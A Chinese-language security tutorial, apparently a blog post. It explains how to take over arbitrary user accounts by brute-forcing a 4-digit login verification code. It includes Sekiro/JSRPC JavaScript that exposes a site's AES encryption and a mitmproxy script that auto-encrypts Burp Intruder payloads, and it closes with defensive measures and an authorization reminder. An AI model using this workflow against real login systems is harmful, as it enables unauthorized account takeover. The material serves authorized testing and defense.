利用JSRPC协议实现任意用户登录
字数 1400 2025-08-24 07:48:10

利用JSRPC协议实现任意用户登录漏洞利用教学文档

1. 漏洞背景与原理

本漏洞利用JSRPC协议结合AES加密机制,通过验证码爆破和中间人代理技术实现任意用户登录。主要涉及以下技术点:

  • 验证码爆破:目标系统使用4位验证码,存在爆破可能性
  • AES加密:请求数据被AES加密,需要解密分析
  • JSRPC协议:用于构建加密/解密服务
  • mitmproxy中间人代理:用于在BurpSuite中实现自动加密

2. 环境准备

2.1 所需工具

  • JSRPC/Sekiro框架
  • Python 3.x
  • mitmproxy
  • BurpSuite
  • 浏览器及开发者工具

2.2 依赖安装

pip3 install mitmproxy

3. JSRPC/Sekiro服务搭建

3.1 下载与运行

  1. 从Sekiro官网下载sekiro-open-demo
  2. 解压后进入bin目录,根据系统选择运行:
    • Windows: 运行.bat文件
    • Linux/Mac: 运行.sh文件

3.2 服务验证

成功运行后,服务将监听在ws://127.0.0.1:5612

4. 自定义AES解密接口

4.1 注册解密服务

在Sekiro客户端中注册AES解密接口:

function guid() {
    function S4() {
        return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
    }
    return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
}

// 自定义配置
group = "MiNi";
registerAction = "AES";
var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());

client.registerAction(registerAction, function(request, resolve, reject) {
    response = v(atob(request['text']));
    resolve(response);
})

4.2 接口调用方式

注册成功后,可通过以下URL调用解密服务:

http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx

注意:由于加密数据可能包含&字符,需要对URL进行编码处理。

5. 验证码爆破实现

5.1 手动验证

  1. 通过浏览器开发者工具抓取登录请求
  2. 确认验证码为4位数字
  3. 测试验证码是否可重复使用

5.2 自动化爆破

方法一:Python字典生成

  1. 生成0000-9999的所有可能验证码
  2. 通过JSRPC接口加密每个验证码
  3. 保存加密后的字典用于爆破

方法二:BurpSuite爆破

使用mitmproxy作为中间人代理实现自动加密:

  1. 创建mitmproxy脚本test.py:
import requests
import urllib.parse
import re
import json
from mitmproxy import ctx

def encrypt(data):
    data = data.replace('&', "%26")
    url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(data)
    res = requests.get(url)
    res = json.loads(res.text)
    return res['data']

def request(flow):
    # 获取GET请求的数据
    data = flow.request.query.get('data')
    print('Get request data ===> ', data)
    encryptData = encrypt(data)
    print('EncryptData ===> ', encryptData)
    # 设置修改后的请求body数据
    flow.request.query['data'] = encryptData

def response(flow):
    response = flow.response
    print(response.text)
    ctx.log.info(str(response.status_code))
  1. 启动mitmproxy服务:
mitmweb -v -s test.py -p 8081
  1. 配置BurpSuite代理到mitmproxy(8081端口)

6. 漏洞利用流程

  1. 信息收集

    • 确认目标系统使用4位验证码
    • 确认请求数据使用AES加密
    • 验证验证码是否可重复使用
  2. 加密分析

    • 通过JSRPC服务解密样本请求
    • 分析加密模式和密钥(如有必要)
  3. 爆破准备

    • 生成0000-9999的明文验证码字典
    • 通过JSRPC接口加密所有验证码
    • 或配置mitmproxy自动加密
  4. 实施爆破

    • 使用BurpSuite Intruder模块
    • 配置payload为明文验证码
    • mitmproxy会自动加密后发送
  5. 结果分析

    • 根据响应长度/内容判断成功请求
    • 获取有效token或会话凭证

7. 防御措施

  1. 验证码强化

    • 增加验证码位数(6位以上)
    • 添加图形干扰因素
    • 设置单次有效性(使用后立即失效)
  2. 加密强化

    • 使用动态密钥或加盐
    • 结合时间戳等动态参数
    • 实现请求唯一性校验
  3. 其他防护

    • 实施请求频率限制
    • 异常请求检测
    • 多因素认证

8. 注意事项

  1. 法律合规:仅在授权测试中使用此技术
  2. 编码处理:特别注意URL中的特殊字符编码
  3. 性能考虑:大规模爆破需考虑性能优化
  4. 错误处理:完善脚本的错误处理机制

9. 扩展应用

此技术不仅限于验证码爆破,还可应用于:

  • 加密API接口的自动化测试
  • 加密参数的模糊测试
  • 其他需要自动加密/解密的场景

通过本教学文档,您应该能够完整理解并实施基于JSRPC协议的任意用户登录漏洞利用技术。请务必在合法授权范围内使用这些技术。

利用JSRPC协议实现任意用户登录漏洞利用教学文档 1. 漏洞背景与原理 本漏洞利用JSRPC协议结合AES加密机制,通过验证码爆破和中间人代理技术实现任意用户登录。主要涉及以下技术点: 验证码爆破 :目标系统使用4位验证码,存在爆破可能性 AES加密 :请求数据被AES加密,需要解密分析 JSRPC协议 :用于构建加密/解密服务 mitmproxy中间人代理 :用于在BurpSuite中实现自动加密 2. 环境准备 2.1 所需工具 JSRPC/Sekiro框架 Python 3.x mitmproxy BurpSuite 浏览器及开发者工具 2.2 依赖安装 3. JSRPC/Sekiro服务搭建 3.1 下载与运行 从Sekiro官网下载sekiro-open-demo 解压后进入bin目录,根据系统选择运行: Windows: 运行.bat文件 Linux/Mac: 运行.sh文件 3.2 服务验证 成功运行后,服务将监听在 ws://127.0.0.1:5612 4. 自定义AES解密接口 4.1 注册解密服务 在Sekiro客户端中注册AES解密接口: 4.2 接口调用方式 注册成功后,可通过以下URL调用解密服务: 注意 :由于加密数据可能包含 & 字符,需要对URL进行编码处理。 5. 验证码爆破实现 5.1 手动验证 通过浏览器开发者工具抓取登录请求 确认验证码为4位数字 测试验证码是否可重复使用 5.2 自动化爆破 方法一:Python字典生成 生成0000-9999的所有可能验证码 通过JSRPC接口加密每个验证码 保存加密后的字典用于爆破 方法二:BurpSuite爆破 使用mitmproxy作为中间人代理实现自动加密: 创建mitmproxy脚本 test.py : 启动mitmproxy服务: 配置BurpSuite代理到mitmproxy(8081端口) 6. 漏洞利用流程 信息收集 : 确认目标系统使用4位验证码 确认请求数据使用AES加密 验证验证码是否可重复使用 加密分析 : 通过JSRPC服务解密样本请求 分析加密模式和密钥(如有必要) 爆破准备 : 生成0000-9999的明文验证码字典 通过JSRPC接口加密所有验证码 或配置mitmproxy自动加密 实施爆破 : 使用BurpSuite Intruder模块 配置payload为明文验证码 mitmproxy会自动加密后发送 结果分析 : 根据响应长度/内容判断成功请求 获取有效token或会话凭证 7. 防御措施 验证码强化 : 增加验证码位数(6位以上) 添加图形干扰因素 设置单次有效性(使用后立即失效) 加密强化 : 使用动态密钥或加盐 结合时间戳等动态参数 实现请求唯一性校验 其他防护 : 实施请求频率限制 异常请求检测 多因素认证 8. 注意事项 法律合规:仅在授权测试中使用此技术 编码处理:特别注意URL中的特殊字符编码 性能考虑:大规模爆破需考虑性能优化 错误处理:完善脚本的错误处理机制 9. 扩展应用 此技术不仅限于验证码爆破,还可应用于: 加密API接口的自动化测试 加密参数的模糊测试 其他需要自动加密/解密的场景 通过本教学文档,您应该能够完整理解并实施基于JSRPC协议的任意用户登录漏洞利用技术。请务必在合法授权范围内使用这些技术。